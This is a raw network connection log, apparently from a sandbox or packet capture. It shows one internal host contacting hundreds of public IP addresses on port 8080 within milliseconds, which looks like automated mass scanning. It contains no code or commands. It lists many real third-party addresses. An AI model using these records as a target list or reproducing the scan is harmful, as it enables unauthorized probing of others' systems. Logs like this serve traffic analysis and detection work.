Feb 19, 2025 19:43:16.244306087 CET	26802	8080	192.168.2.13	95.103.184.49
Feb 19, 2025 19:43:16.244319916 CET	26802	8080	192.168.2.13	95.168.197.7
Feb 19, 2025 19:43:16.244319916 CET	26802	8080	192.168.2.13	94.86.0.190
Feb 19, 2025 19:43:16.244333982 CET	26802	8080	192.168.2.13	85.148.32.28
Feb 19, 2025 19:43:16.244345903 CET	26802	8080	192.168.2.13	62.53.0.96
Feb 19, 2025 19:43:16.244355917 CET	26802	8080	192.168.2.13	94.62.231.38
Feb 19, 2025 19:43:16.244365931 CET	26802	8080	192.168.2.13	62.152.222.235
Feb 19, 2025 19:43:16.244374037 CET	26802	8080	192.168.2.13	95.65.4.59
Feb 19, 2025 19:43:16.244380951 CET	26802	8080	192.168.2.13	94.192.131.15
Feb 19, 2025 19:43:16.244380951 CET	26802	8080	192.168.2.13	31.91.56.114
Feb 19, 2025 19:43:16.244389057 CET	26802	8080	192.168.2.13	94.188.14.103
Feb 19, 2025 19:43:16.244401932 CET	26802	8080	192.168.2.13	31.220.105.192
Feb 19, 2025 19:43:16.244406939 CET	26802	8080	192.168.2.13	85.232.208.74
Feb 19, 2025 19:43:16.244416952 CET	26802	8080	192.168.2.13	31.120.159.87
Feb 19, 2025 19:43:16.244422913 CET	26802	8080	192.168.2.13	95.247.171.149
Feb 19, 2025 19:43:16.244426966 CET	26802	8080	192.168.2.13	94.223.253.97
Feb 19, 2025 19:43:16.244438887 CET	26802	8080	192.168.2.13	62.142.57.211
Feb 19, 2025 19:43:16.244448900 CET	26802	8080	192.168.2.13	62.218.240.143
Feb 19, 2025 19:43:16.244453907 CET	26802	8080	192.168.2.13	31.187.31.201
Feb 19, 2025 19:43:16.244465113 CET	26802	8080	192.168.2.13	94.62.241.80
Feb 19, 2025 19:43:16.244482994 CET	26802	8080	192.168.2.13	31.137.34.199
Feb 19, 2025 19:43:16.244494915 CET	26802	8080	192.168.2.13	95.226.2.166
Feb 19, 2025 19:43:16.244503021 CET	26802	8080	192.168.2.13	95.105.8.2
Feb 19, 2025 19:43:16.244513035 CET	26802	8080	192.168.2.13	85.22.14.54
Feb 19, 2025 19:43:16.244523048 CET	26802	8080	192.168.2.13	94.77.38.15
Feb 19, 2025 19:43:16.244540930 CET	26802	8080	192.168.2.13	95.255.39.255
Feb 19, 2025 19:43:16.244540930 CET	26802	8080	192.168.2.13	31.167.107.173
Feb 19, 2025 19:43:16.244559050 CET	26802	8080	192.168.2.13	94.27.99.41
Feb 19, 2025 19:43:16.244560957 CET	26802	8080	192.168.2.13	95.137.174.251
Feb 19, 2025 19:43:16.244570017 CET	26802	8080	192.168.2.13	62.91.75.53
Feb 19, 2025 19:43:16.244580030 CET	26802	8080	192.168.2.13	94.72.80.132
Feb 19, 2025 19:43:16.244585991 CET	26802	8080	192.168.2.13	95.207.146.188
Feb 19, 2025 19:43:16.244596004 CET	26802	8080	192.168.2.13	62.220.25.59
Feb 19, 2025 19:43:16.244601011 CET	26802	8080	192.168.2.13	31.246.253.131
Feb 19, 2025 19:43:16.244607925 CET	26802	8080	192.168.2.13	95.30.32.41
Feb 19, 2025 19:43:16.244618893 CET	26802	8080	192.168.2.13	31.40.38.128
Feb 19, 2025 19:43:16.244621038 CET	26802	8080	192.168.2.13	31.21.204.54
Feb 19, 2025 19:43:16.244637012 CET	26802	8080	192.168.2.13	62.124.227.255
Feb 19, 2025 19:43:16.244637966 CET	26802	8080	192.168.2.13	94.176.100.13
Feb 19, 2025 19:43:16.244648933 CET	26802	8080	192.168.2.13	95.167.178.212
Feb 19, 2025 19:43:16.244648933 CET	26802	8080	192.168.2.13	95.8.99.199
Feb 19, 2025 19:43:16.244661093 CET	26802	8080	192.168.2.13	95.215.208.49
Feb 19, 2025 19:43:16.244669914 CET	26802	8080	192.168.2.13	31.11.156.82
Feb 19, 2025 19:43:16.244679928 CET	26802	8080	192.168.2.13	95.251.82.122
Feb 19, 2025 19:43:16.244688034 CET	26802	8080	192.168.2.13	94.218.69.71
Feb 19, 2025 19:43:16.244695902 CET	26802	8080	192.168.2.13	95.211.92.33
Feb 19, 2025 19:43:16.244709015 CET	26802	8080	192.168.2.13	94.254.39.218
Feb 19, 2025 19:43:16.244715929 CET	26802	8080	192.168.2.13	95.41.102.115
Feb 19, 2025 19:43:16.244719028 CET	26802	8080	192.168.2.13	62.90.200.188
Feb 19, 2025 19:43:16.244729996 CET	26802	8080	192.168.2.13	85.141.30.87
Feb 19, 2025 19:43:16.244746923 CET	26802	8080	192.168.2.13	95.192.44.62
Feb 19, 2025 19:43:16.244750023 CET	26802	8080	192.168.2.13	95.161.14.16
Feb 19, 2025 19:43:16.244750023 CET	26802	8080	192.168.2.13	31.52.211.151
Feb 19, 2025 19:43:16.244757891 CET	26802	8080	192.168.2.13	85.13.191.173
Feb 19, 2025 19:43:16.244770050 CET	26802	8080	192.168.2.13	95.99.196.171
Feb 19, 2025 19:43:16.244779110 CET	26802	8080	192.168.2.13	31.244.195.34
Feb 19, 2025 19:43:16.244790077 CET	26802	8080	192.168.2.13	62.6.123.172
Feb 19, 2025 19:43:16.244800091 CET	26802	8080	192.168.2.13	95.39.80.124
Feb 19, 2025 19:43:16.244808912 CET	26802	8080	192.168.2.13	85.129.112.223
Feb 19, 2025 19:43:16.244812965 CET	26802	8080	192.168.2.13	62.1.78.107
Feb 19, 2025 19:43:16.244812965 CET	26802	8080	192.168.2.13	85.194.156.44
Feb 19, 2025 19:43:16.244820118 CET	26802	8080	192.168.2.13	31.247.71.104
Feb 19, 2025 19:43:16.244833946 CET	26802	8080	192.168.2.13	94.18.90.236
Feb 19, 2025 19:43:16.244833946 CET	26802	8080	192.168.2.13	31.110.61.58
Feb 19, 2025 19:43:16.244844913 CET	26802	8080	192.168.2.13	85.51.83.211
Feb 19, 2025 19:43:16.244857073 CET	26802	8080	192.168.2.13	94.164.6.228
Feb 19, 2025 19:43:16.244867086 CET	26802	8080	192.168.2.13	31.140.213.114
Feb 19, 2025 19:43:16.244874954 CET	26802	8080	192.168.2.13	85.201.215.100
Feb 19, 2025 19:43:16.244874954 CET	26802	8080	192.168.2.13	62.125.16.173
Feb 19, 2025 19:43:16.244900942 CET	26802	8080	192.168.2.13	85.11.124.252
Feb 19, 2025 19:43:16.244915009 CET	26802	8080	192.168.2.13	85.16.59.181
Feb 19, 2025 19:43:16.244915009 CET	26802	8080	192.168.2.13	62.245.122.0
Feb 19, 2025 19:43:16.244921923 CET	26802	8080	192.168.2.13	31.74.109.221
Feb 19, 2025 19:43:16.244935036 CET	26802	8080	192.168.2.13	95.251.215.69
Feb 19, 2025 19:43:16.244954109 CET	26802	8080	192.168.2.13	95.143.154.105
Feb 19, 2025 19:43:16.244954109 CET	26802	8080	192.168.2.13	62.150.203.241
Feb 19, 2025 19:43:16.244963884 CET	26802	8080	192.168.2.13	95.113.194.164
Feb 19, 2025 19:43:16.244966030 CET	26802	8080	192.168.2.13	62.103.11.167
Feb 19, 2025 19:43:16.244982958 CET	26802	8080	192.168.2.13	85.69.212.123
Feb 19, 2025 19:43:16.244987011 CET	26802	8080	192.168.2.13	95.159.176.69
Feb 19, 2025 19:43:16.244987965 CET	26802	8080	192.168.2.13	31.252.83.90
Feb 19, 2025 19:43:16.244998932 CET	26802	8080	192.168.2.13	85.152.94.28
Feb 19, 2025 19:43:16.245002985 CET	26802	8080	192.168.2.13	94.214.95.196
Feb 19, 2025 19:43:16.245009899 CET	26802	8080	192.168.2.13	62.240.225.240
Feb 19, 2025 19:43:16.245018005 CET	26802	8080	192.168.2.13	94.238.116.150
Feb 19, 2025 19:43:16.245028973 CET	26802	8080	192.168.2.13	94.142.116.76
Feb 19, 2025 19:43:16.245033979 CET	26802	8080	192.168.2.13	62.102.184.94
Feb 19, 2025 19:43:16.245043039 CET	26802	8080	192.168.2.13	95.170.93.209
Feb 19, 2025 19:43:16.245052099 CET	26802	8080	192.168.2.13	95.5.215.25
Feb 19, 2025 19:43:16.245066881 CET	26802	8080	192.168.2.13	94.165.167.84
Feb 19, 2025 19:43:16.245074034 CET	26802	8080	192.168.2.13	94.244.218.190
Feb 19, 2025 19:43:16.245074034 CET	26802	8080	192.168.2.13	94.172.86.159
Feb 19, 2025 19:43:16.245089054 CET	26802	8080	192.168.2.13	31.4.109.162
Feb 19, 2025 19:43:16.245090008 CET	26802	8080	192.168.2.13	31.153.213.25
Feb 19, 2025 19:43:16.245100975 CET	26802	8080	192.168.2.13	31.237.118.241
Feb 19, 2025 19:43:16.245109081 CET	26802	8080	192.168.2.13	85.0.121.8
Feb 19, 2025 19:43:16.245120049 CET	26802	8080	192.168.2.13	31.0.130.226
Feb 19, 2025 19:43:16.245131016 CET	26802	8080	192.168.2.13	85.91.120.86
Feb 19, 2025 19:43:16.245132923 CET	26802	8080	192.168.2.13	95.11.244.93
Feb 19, 2025 19:43:16.245143890 CET	26802	8080	192.168.2.13	94.217.110.4
Feb 19, 2025 19:43:16.245148897 CET	26802	8080	192.168.2.13	85.6.23.100
Feb 19, 2025 19:43:16.245161057 CET	26802	8080	192.168.2.13	31.56.26.118
Feb 19, 2025 19:43:16.245163918 CET	26802	8080	192.168.2.13	95.208.155.106
Feb 19, 2025 19:43:16.245177031 CET	26802	8080	192.168.2.13	62.135.204.6
Feb 19, 2025 19:43:16.245184898 CET	26802	8080	192.168.2.13	94.75.213.86
Feb 19, 2025 19:43:16.245187044 CET	26802	8080	192.168.2.13	94.148.227.208
Feb 19, 2025 19:43:16.245194912 CET	26802	8080	192.168.2.13	85.54.211.197
Feb 19, 2025 19:43:16.245197058 CET	26802	8080	192.168.2.13	62.183.122.3
Feb 19, 2025 19:43:16.245208025 CET	26802	8080	192.168.2.13	95.3.93.163
Feb 19, 2025 19:43:16.245208025 CET	26802	8080	192.168.2.13	31.6.167.63
Feb 19, 2025 19:43:16.245218992 CET	26802	8080	192.168.2.13	94.255.97.215
Feb 19, 2025 19:43:16.245223999 CET	26802	8080	192.168.2.13	95.37.192.17
Feb 19, 2025 19:43:16.245239973 CET	26802	8080	192.168.2.13	62.183.11.136
Feb 19, 2025 19:43:16.245245934 CET	26802	8080	192.168.2.13	94.30.249.14
Feb 19, 2025 19:43:16.245251894 CET	26802	8080	192.168.2.13	85.215.12.238
Feb 19, 2025 19:43:16.245264053 CET	26802	8080	192.168.2.13	95.31.48.99
Feb 19, 2025 19:43:16.245275974 CET	26802	8080	192.168.2.13	94.32.193.196
Feb 19, 2025 19:43:16.245276928 CET	26802	8080	192.168.2.13	31.153.190.50
Feb 19, 2025 19:43:16.245290995 CET	26802	8080	192.168.2.13	62.227.22.36
Feb 19, 2025 19:43:16.245292902 CET	26802	8080	192.168.2.13	85.214.85.146
Feb 19, 2025 19:43:16.245302916 CET	26802	8080	192.168.2.13	95.143.229.75
Feb 19, 2025 19:43:16.245306969 CET	26802	8080	192.168.2.13	95.54.84.17
Feb 19, 2025 19:43:16.245321035 CET	26802	8080	192.168.2.13	62.160.80.104
Feb 19, 2025 19:43:16.245328903 CET	26802	8080	192.168.2.13	31.53.8.5
Feb 19, 2025 19:43:16.245328903 CET	26802	8080	192.168.2.13	94.193.106.205
Feb 19, 2025 19:43:16.245341063 CET	26802	8080	192.168.2.13	95.133.76.201
Feb 19, 2025 19:43:16.245347977 CET	26802	8080	192.168.2.13	62.165.150.196
Feb 19, 2025 19:43:16.245347977 CET	26802	8080	192.168.2.13	85.210.209.191
Feb 19, 2025 19:43:16.245359898 CET	26802	8080	192.168.2.13	95.40.133.56
Feb 19, 2025 19:43:16.245362997 CET	26802	8080	192.168.2.13	62.147.33.57
Feb 19, 2025 19:43:16.245368958 CET	26802	8080	192.168.2.13	62.98.57.137
Feb 19, 2025 19:43:16.245381117 CET	26802	8080	192.168.2.13	85.18.68.15
Feb 19, 2025 19:43:16.245383024 CET	26802	8080	192.168.2.13	95.14.100.84
Feb 19, 2025 19:43:16.245394945 CET	26802	8080	192.168.2.13	94.132.114.97
Feb 19, 2025 19:43:16.245404959 CET	26802	8080	192.168.2.13	94.90.157.99
Feb 19, 2025 19:43:16.245409966 CET	26802	8080	192.168.2.13	62.177.231.92
Feb 19, 2025 19:43:16.245414972 CET	26802	8080	192.168.2.13	94.72.116.118
Feb 19, 2025 19:43:16.245424986 CET	26802	8080	192.168.2.13	85.21.182.205
Feb 19, 2025 19:43:16.245429039 CET	26802	8080	192.168.2.13	31.143.37.193
Feb 19, 2025 19:43:16.245446920 CET	26802	8080	192.168.2.13	94.26.20.204
Feb 19, 2025 19:43:16.245448112 CET	26802	8080	192.168.2.13	62.94.109.185
Feb 19, 2025 19:43:16.245455980 CET	26802	8080	192.168.2.13	31.66.121.40
Feb 19, 2025 19:43:16.245461941 CET	26802	8080	192.168.2.13	95.253.156.245
Feb 19, 2025 19:43:16.245469093 CET	26802	8080	192.168.2.13	85.54.170.199
Feb 19, 2025 19:43:16.245481968 CET	26802	8080	192.168.2.13	94.170.125.125
Feb 19, 2025 19:43:16.245491982 CET	26802	8080	192.168.2.13	31.238.111.74
Feb 19, 2025 19:43:16.245492935 CET	26802	8080	192.168.2.13	94.114.242.240
Feb 19, 2025 19:43:16.245502949 CET	26802	8080	192.168.2.13	31.111.172.34
Feb 19, 2025 19:43:16.245507002 CET	26802	8080	192.168.2.13	31.73.30.113
Feb 19, 2025 19:43:16.245516062 CET	26802	8080	192.168.2.13	95.129.196.104
Feb 19, 2025 19:43:16.245526075 CET	26802	8080	192.168.2.13	62.223.135.16
Feb 19, 2025 19:43:16.245533943 CET	26802	8080	192.168.2.13	31.246.72.221
Feb 19, 2025 19:43:16.245538950 CET	26802	8080	192.168.2.13	31.9.246.13
Feb 19, 2025 19:43:16.245547056 CET	26802	8080	192.168.2.13	85.249.66.36
Feb 19, 2025 19:43:16.245559931 CET	26802	8080	192.168.2.13	31.70.205.183
Feb 19, 2025 19:43:16.245567083 CET	26802	8080	192.168.2.13	85.241.95.124
Feb 19, 2025 19:43:16.245582104 CET	26802	8080	192.168.2.13	95.73.14.54
Feb 19, 2025 19:43:16.245582104 CET	26802	8080	192.168.2.13	95.143.203.219
Feb 19, 2025 19:43:16.245609045 CET	26802	8080	192.168.2.13	85.232.192.208
Feb 19, 2025 19:43:16.245613098 CET	26802	8080	192.168.2.13	95.230.217.238
Feb 19, 2025 19:43:16.245619059 CET	26802	8080	192.168.2.13	94.139.33.190
Feb 19, 2025 19:43:16.245632887 CET	26802	8080	192.168.2.13	94.163.166.122
Feb 19, 2025 19:43:16.245635033 CET	26802	8080	192.168.2.13	31.113.22.133
Feb 19, 2025 19:43:16.245644093 CET	26802	8080	192.168.2.13	94.104.222.94
Feb 19, 2025 19:43:16.245657921 CET	26802	8080	192.168.2.13	31.164.170.95
Feb 19, 2025 19:43:16.245666027 CET	26802	8080	192.168.2.13	85.200.238.37
Feb 19, 2025 19:43:16.245672941 CET	26802	8080	192.168.2.13	95.4.37.71
Feb 19, 2025 19:43:16.245682955 CET	26802	8080	192.168.2.13	31.98.159.104
Feb 19, 2025 19:43:16.245683908 CET	26802	8080	192.168.2.13	95.111.108.125
Feb 19, 2025 19:43:16.245692968 CET	26802	8080	192.168.2.13	94.240.164.238
Feb 19, 2025 19:43:16.245706081 CET	26802	8080	192.168.2.13	94.139.107.253
Feb 19, 2025 19:43:16.245718002 CET	26802	8080	192.168.2.13	62.192.213.149
Feb 19, 2025 19:43:16.245723963 CET	26802	8080	192.168.2.13	94.226.244.109
Feb 19, 2025 19:43:16.245732069 CET	26802	8080	192.168.2.13	95.108.105.217
Feb 19, 2025 19:43:16.245743990 CET	26802	8080	192.168.2.13	94.160.167.156
Feb 19, 2025 19:43:16.245750904 CET	26802	8080	192.168.2.13	94.135.8.7
Feb 19, 2025 19:43:16.245754957 CET	26802	8080	192.168.2.13	94.2.127.84
Feb 19, 2025 19:43:16.245765924 CET	26802	8080	192.168.2.13	85.164.189.5
Feb 19, 2025 19:43:16.245770931 CET	26802	8080	192.168.2.13	31.47.1.165
Feb 19, 2025 19:43:16.245783091 CET	26802	8080	192.168.2.13	94.205.119.97
Feb 19, 2025 19:43:16.245783091 CET	26802	8080	192.168.2.13	95.10.216.85
Feb 19, 2025 19:43:16.245795012 CET	26802	8080	192.168.2.13	62.105.213.105
Feb 19, 2025 19:43:16.245806932 CET	26802	8080	192.168.2.13	85.229.44.83
Feb 19, 2025 19:43:16.245814085 CET	26802	8080	192.168.2.13	31.234.230.197
Feb 19, 2025 19:43:16.245815039 CET	26802	8080	192.168.2.13	94.106.138.238
Feb 19, 2025 19:43:16.245827913 CET	26802	8080	192.168.2.13	62.77.254.174
Feb 19, 2025 19:43:16.245836020 CET	26802	8080	192.168.2.13	95.200.15.114
Feb 19, 2025 19:43:16.245840073 CET	26802	8080	192.168.2.13	94.118.56.218
Feb 19, 2025 19:43:16.245845079 CET	26802	8080	192.168.2.13	94.14.226.236
Feb 19, 2025 19:43:16.245860100 CET	26802	8080	192.168.2.13	85.219.32.113
Feb 19, 2025 19:43:16.245867968 CET	26802	8080	192.168.2.13	95.128.211.57
Feb 19, 2025 19:43:16.245871067 CET	26802	8080	192.168.2.13	31.45.108.0
Feb 19, 2025 19:43:16.245879889 CET	26802	8080	192.168.2.13	31.56.111.159
Feb 19, 2025 19:43:16.245892048 CET	26802	8080	192.168.2.13	94.225.71.182
Feb 19, 2025 19:43:16.245896101 CET	26802	8080	192.168.2.13	31.206.243.220
Feb 19, 2025 19:43:16.245903015 CET	26802	8080	192.168.2.13	85.45.66.88
Feb 19, 2025 19:43:16.245908976 CET	26802	8080	192.168.2.13	94.66.154.236
Feb 19, 2025 19:43:16.245920897 CET	26802	8080	192.168.2.13	95.72.244.226
Feb 19, 2025 19:43:16.245928049 CET	26802	8080	192.168.2.13	85.51.253.174
Feb 19, 2025 19:43:16.245934010 CET	26802	8080	192.168.2.13	94.194.67.10
Feb 19, 2025 19:43:16.245942116 CET	26802	8080	192.168.2.13	95.3.136.135
Feb 19, 2025 19:43:16.245954037 CET	26802	8080	192.168.2.13	85.6.4.193
Feb 19, 2025 19:43:16.245960951 CET	26802	8080	192.168.2.13	31.97.255.72
Feb 19, 2025 19:43:16.245968103 CET	26802	8080	192.168.2.13	94.53.101.168
Feb 19, 2025 19:43:16.245984077 CET	26802	8080	192.168.2.13	85.6.251.238
Feb 19, 2025 19:43:16.245990992 CET	26802	8080	192.168.2.13	31.177.246.221
Feb 19, 2025 19:43:16.245990992 CET	26802	8080	192.168.2.13	31.146.36.43
Feb 19, 2025 19:43:16.246002913 CET	26802	8080	192.168.2.13	94.219.244.234
Feb 19, 2025 19:43:16.246009111 CET	26802	8080	192.168.2.13	94.227.65.71
Feb 19, 2025 19:43:16.246010065 CET	26802	8080	192.168.2.13	31.225.68.59
Feb 19, 2025 19:43:16.246021986 CET	26802	8080	192.168.2.13	31.128.137.146
Feb 19, 2025 19:43:16.246028900 CET	26802	8080	192.168.2.13	31.143.166.138
Feb 19, 2025 19:43:16.246037006 CET	26802	8080	192.168.2.13	95.73.142.0
Feb 19, 2025 19:43:16.246047974 CET	26802	8080	192.168.2.13	62.95.143.210
Feb 19, 2025 19:43:16.246063948 CET	26802	8080	192.168.2.13	94.0.144.20
Feb 19, 2025 19:43:16.246066093 CET	26802	8080	192.168.2.13	62.124.108.154
Feb 19, 2025 19:43:16.246072054 CET	26802	8080	192.168.2.13	94.46.96.205
Feb 19, 2025 19:43:16.246081114 CET	26802	8080	192.168.2.13	85.130.144.134
Feb 19, 2025 19:43:16.246092081 CET	26802	8080	192.168.2.13	62.116.68.241
Feb 19, 2025 19:43:16.246094942 CET	26802	8080	192.168.2.13	31.196.226.115
Feb 19, 2025 19:43:16.246104002 CET	26802	8080	192.168.2.13	62.15.31.75
Feb 19, 2025 19:43:16.246114016 CET	26802	8080	192.168.2.13	85.136.170.75
Feb 19, 2025 19:43:16.246119976 CET	26802	8080	192.168.2.13	85.133.244.125
Feb 19, 2025 19:43:16.246134996 CET	26802	8080	192.168.2.13	95.205.15.70
Feb 19, 2025 19:43:16.246140957 CET	26802	8080	192.168.2.13	31.195.167.242
Feb 19, 2025 19:43:16.246150970 CET	26802	8080	192.168.2.13	95.112.142.49
Feb 19, 2025 19:43:16.246155024 CET	26802	8080	192.168.2.13	31.93.190.132
Feb 19, 2025 19:43:16.246167898 CET	26802	8080	192.168.2.13	31.36.196.112
Feb 19, 2025 19:43:16.246167898 CET	26802	8080	192.168.2.13	95.110.127.120
Feb 19, 2025 19:43:16.246181965 CET	26802	8080	192.168.2.13	62.57.181.34
Feb 19, 2025 19:43:16.246191025 CET	26802	8080	192.168.2.13	31.56.51.160
Feb 19, 2025 19:43:16.246191025 CET	26802	8080	192.168.2.13	31.8.11.72
Feb 19, 2025 19:43:16.246210098 CET	26802	8080	192.168.2.13	85.31.120.63
Feb 19, 2025 19:43:16.246210098 CET	26802	8080	192.168.2.13	94.61.207.143
Feb 19, 2025 19:43:16.246220112 CET	26802	8080	192.168.2.13	85.8.191.173
Feb 19, 2025 19:43:16.246231079 CET	26802	8080	192.168.2.13	94.60.222.208
Feb 19, 2025 19:43:16.246236086 CET	26802	8080	192.168.2.13	85.127.163.2
Feb 19, 2025 19:43:16.246243000 CET	26802	8080	192.168.2.13	31.187.105.25
Feb 19, 2025 19:43:16.246258020 CET	26802	8080	192.168.2.13	31.229.221.245
Feb 19, 2025 19:43:16.246270895 CET	26802	8080	192.168.2.13	85.194.253.120
Feb 19, 2025 19:43:16.246270895 CET	26802	8080	192.168.2.13	95.31.120.123
Feb 19, 2025 19:43:16.246283054 CET	26802	8080	192.168.2.13	62.39.222.41
Feb 19, 2025 19:43:16.246294022 CET	26802	8080	192.168.2.13	94.30.118.66
Feb 19, 2025 19:43:16.246299982 CET	26802	8080	192.168.2.13	31.251.64.19
Feb 19, 2025 19:43:16.246311903 CET	26802	8080	192.168.2.13	85.19.158.95
Feb 19, 2025 19:43:16.246313095 CET	26802	8080	192.168.2.13	95.80.140.81
Feb 19, 2025 19:43:16.246324062 CET	26802	8080	192.168.2.13	85.218.195.30
Feb 19, 2025 19:43:16.246324062 CET	26802	8080	192.168.2.13	85.6.163.169
Feb 19, 2025 19:43:16.246340990 CET	26802	8080	192.168.2.13	85.129.24.83
Feb 19, 2025 19:43:16.246354103 CET	26802	8080	192.168.2.13	94.116.171.200
Feb 19, 2025 19:43:16.246355057 CET	26802	8080	192.168.2.13	62.35.87.67
Feb 19, 2025 19:43:16.246361017 CET	26802	8080	192.168.2.13	94.184.93.162
Feb 19, 2025 19:43:16.246371031 CET	26802	8080	192.168.2.13	31.1.94.72
Feb 19, 2025 19:43:16.246375084 CET	26802	8080	192.168.2.13	31.233.192.194
Feb 19, 2025 19:43:16.246387005 CET	26802	8080	192.168.2.13	95.88.237.112
Feb 19, 2025 19:43:16.246396065 CET	26802	8080	192.168.2.13	85.142.127.101
Feb 19, 2025 19:43:16.246404886 CET	26802	8080	192.168.2.13	95.115.68.72
Feb 19, 2025 19:43:16.246417046 CET	26802	8080	192.168.2.13	62.81.185.210
Feb 19, 2025 19:43:16.246417046 CET	26802	8080	192.168.2.13	62.119.92.11
Feb 19, 2025 19:43:16.246427059 CET	26802	8080	192.168.2.13	62.51.126.79
Feb 19, 2025 19:43:16.246434927 CET	26802	8080	192.168.2.13	85.98.196.176
Feb 19, 2025 19:43:16.246444941 CET	26802	8080	192.168.2.13	94.135.171.213
Feb 19, 2025 19:43:16.246457100 CET	26802	8080	192.168.2.13	94.178.83.180
Feb 19, 2025 19:43:16.246458054 CET	26802	8080	192.168.2.13	94.101.73.151
Feb 19, 2025 19:43:16.246465921 CET	26802	8080	192.168.2.13	31.16.250.173
Feb 19, 2025 19:43:16.246474981 CET	26802	8080	192.168.2.13	94.115.63.24
Feb 19, 2025 19:43:16.246483088 CET	26802	8080	192.168.2.13	31.89.102.74
Feb 19, 2025 19:43:16.246486902 CET	26802	8080	192.168.2.13	62.142.200.93
Feb 19, 2025 19:43:16.246493101 CET	26802	8080	192.168.2.13	85.116.110.10
Feb 19, 2025 19:43:16.246505976 CET	26802	8080	192.168.2.13	62.231.178.205
Feb 19, 2025 19:43:16.246516943 CET	26802	8080	192.168.2.13	85.117.35.17
Feb 19, 2025 19:43:16.246519089 CET	26802	8080	192.168.2.13	95.217.114.41
Feb 19, 2025 19:43:16.246537924 CET	26802	8080	192.168.2.13	31.136.106.164
Feb 19, 2025 19:43:16.246537924 CET	26802	8080	192.168.2.13	62.30.116.30
Feb 19, 2025 19:43:16.246551037 CET	26802	8080	192.168.2.13	94.65.215.226
Feb 19, 2025 19:43:16.246553898 CET	26802	8080	192.168.2.13	62.202.30.61
Feb 19, 2025 19:43:16.246557951 CET	26802	8080	192.168.2.13	62.242.231.27
Feb 19, 2025 19:43:16.246567011 CET	26802	8080	192.168.2.13	85.192.100.100
Feb 19, 2025 19:43:16.246573925 CET	26802	8080	192.168.2.13	95.9.182.9
Feb 19, 2025 19:43:16.246584892 CET	26802	8080	192.168.2.13	94.60.157.226
Feb 19, 2025 19:43:16.246598005 CET	26802	8080	192.168.2.13	31.177.52.118
Feb 19, 2025 19:43:16.246604919 CET	26802	8080	192.168.2.13	62.11.163.28
Feb 19, 2025 19:43:16.246613026 CET	26802	8080	192.168.2.13	62.231.85.154
Feb 19, 2025 19:43:16.246629953 CET	26802	8080	192.168.2.13	85.252.196.52
Feb 19, 2025 19:43:16.246639013 CET	26802	8080	192.168.2.13	62.24.164.151
Feb 19, 2025 19:43:16.246642113 CET	26802	8080	192.168.2.13	85.203.208.123
Feb 19, 2025 19:43:16.246645927 CET	26802	8080	192.168.2.13	95.21.140.175
Feb 19, 2025 19:43:16.246660948 CET	26802	8080	192.168.2.13	62.116.121.36
Feb 19, 2025 19:43:16.246665001 CET	26802	8080	192.168.2.13	31.79.109.181
Feb 19, 2025 19:43:16.246676922 CET	26802	8080	192.168.2.13	62.34.83.28
Feb 19, 2025 19:43:16.246676922 CET	26802	8080	192.168.2.13	31.21.44.167
Feb 19, 2025 19:43:16.246682882 CET	26802	8080	192.168.2.13	85.95.104.142
Feb 19, 2025 19:43:16.246685028 CET	26802	8080	192.168.2.13	62.102.91.54
Feb 19, 2025 19:43:16.246701002 CET	26802	8080	192.168.2.13	94.152.142.76
Feb 19, 2025 19:43:16.246706009 CET	26802	8080	192.168.2.13	85.167.100.76
Feb 19, 2025 19:43:16.246716022 CET	26802	8080	192.168.2.13	94.8.63.132
Feb 19, 2025 19:43:16.246722937 CET	26802	8080	192.168.2.13	31.169.238.107
Feb 19, 2025 19:43:16.246735096 CET	26802	8080	192.168.2.13	62.166.158.195
Feb 19, 2025 19:43:16.246748924 CET	26802	8080	192.168.2.13	62.120.242.49
Feb 19, 2025 19:43:16.246748924 CET	26802	8080	192.168.2.13	95.229.209.125
Feb 19, 2025 19:43:16.246758938 CET	26802	8080	192.168.2.13	31.3.165.170
Feb 19, 2025 19:43:16.246762037 CET	26802	8080	192.168.2.13	31.227.133.83
Feb 19, 2025 19:43:16.246771097 CET	26802	8080	192.168.2.13	62.144.174.100
Feb 19, 2025 19:43:16.246781111 CET	26802	8080	192.168.2.13	62.93.137.252
Feb 19, 2025 19:43:16.246784925 CET	26802	8080	192.168.2.13	94.79.159.159
Feb 19, 2025 19:43:16.246795893 CET	26802	8080	192.168.2.13	95.210.254.229
Feb 19, 2025 19:43:16.246800900 CET	26802	8080	192.168.2.13	31.11.12.48
Feb 19, 2025 19:43:16.246809959 CET	26802	8080	192.168.2.13	62.144.100.134
Feb 19, 2025 19:43:16.246819973 CET	26802	8080	192.168.2.13	85.87.239.43
Feb 19, 2025 19:43:16.246834993 CET	26802	8080	192.168.2.13	31.168.248.23
Feb 19, 2025 19:43:16.246839046 CET	26802	8080	192.168.2.13	31.234.13.68
Feb 19, 2025 19:43:16.246850014 CET	26802	8080	192.168.2.13	62.205.11.247
Feb 19, 2025 19:43:16.246860981 CET	26802	8080	192.168.2.13	85.113.251.128
Feb 19, 2025 19:43:16.246864080 CET	26802	8080	192.168.2.13	94.152.115.16
Feb 19, 2025 19:43:16.246870995 CET	26802	8080	192.168.2.13	31.144.79.134
Feb 19, 2025 19:43:16.246884108 CET	26802	8080	192.168.2.13	94.235.182.99
Feb 19, 2025 19:43:16.246890068 CET	26802	8080	192.168.2.13	85.206.75.86
Feb 19, 2025 19:43:16.246915102 CET	26802	8080	192.168.2.13	94.52.242.63
Feb 19, 2025 19:43:16.246918917 CET	26802	8080	192.168.2.13	62.69.197.254
Feb 19, 2025 19:43:16.246927023 CET	26802	8080	192.168.2.13	31.112.17.135
Feb 19, 2025 19:43:16.246932983 CET	26802	8080	192.168.2.13	95.42.92.141
Feb 19, 2025 19:43:16.246943951 CET	26802	8080	192.168.2.13	94.20.65.134
Feb 19, 2025 19:43:16.246952057 CET	26802	8080	192.168.2.13	62.25.249.80
Feb 19, 2025 19:43:16.246958971 CET	26802	8080	192.168.2.13	94.236.196.142
Feb 19, 2025 19:43:16.246973038 CET	26802	8080	192.168.2.13	31.214.186.221
Feb 19, 2025 19:43:16.246974945 CET	26802	8080	192.168.2.13	94.239.140.36
Feb 19, 2025 19:43:16.246990919 CET	26802	8080	192.168.2.13	62.255.181.7
Feb 19, 2025 19:43:16.246993065 CET	26802	8080	192.168.2.13	31.185.241.236
Feb 19, 2025 19:43:16.247006893 CET	26802	8080	192.168.2.13	62.71.112.54
Feb 19, 2025 19:43:16.247008085 CET	26802	8080	192.168.2.13	85.8.231.207
Feb 19, 2025 19:43:16.247014046 CET	26802	8080	192.168.2.13	85.114.200.114
Feb 19, 2025 19:43:16.247020960 CET	26802	8080	192.168.2.13	95.113.204.174
Feb 19, 2025 19:43:16.247029066 CET	26802	8080	192.168.2.13	94.241.139.198
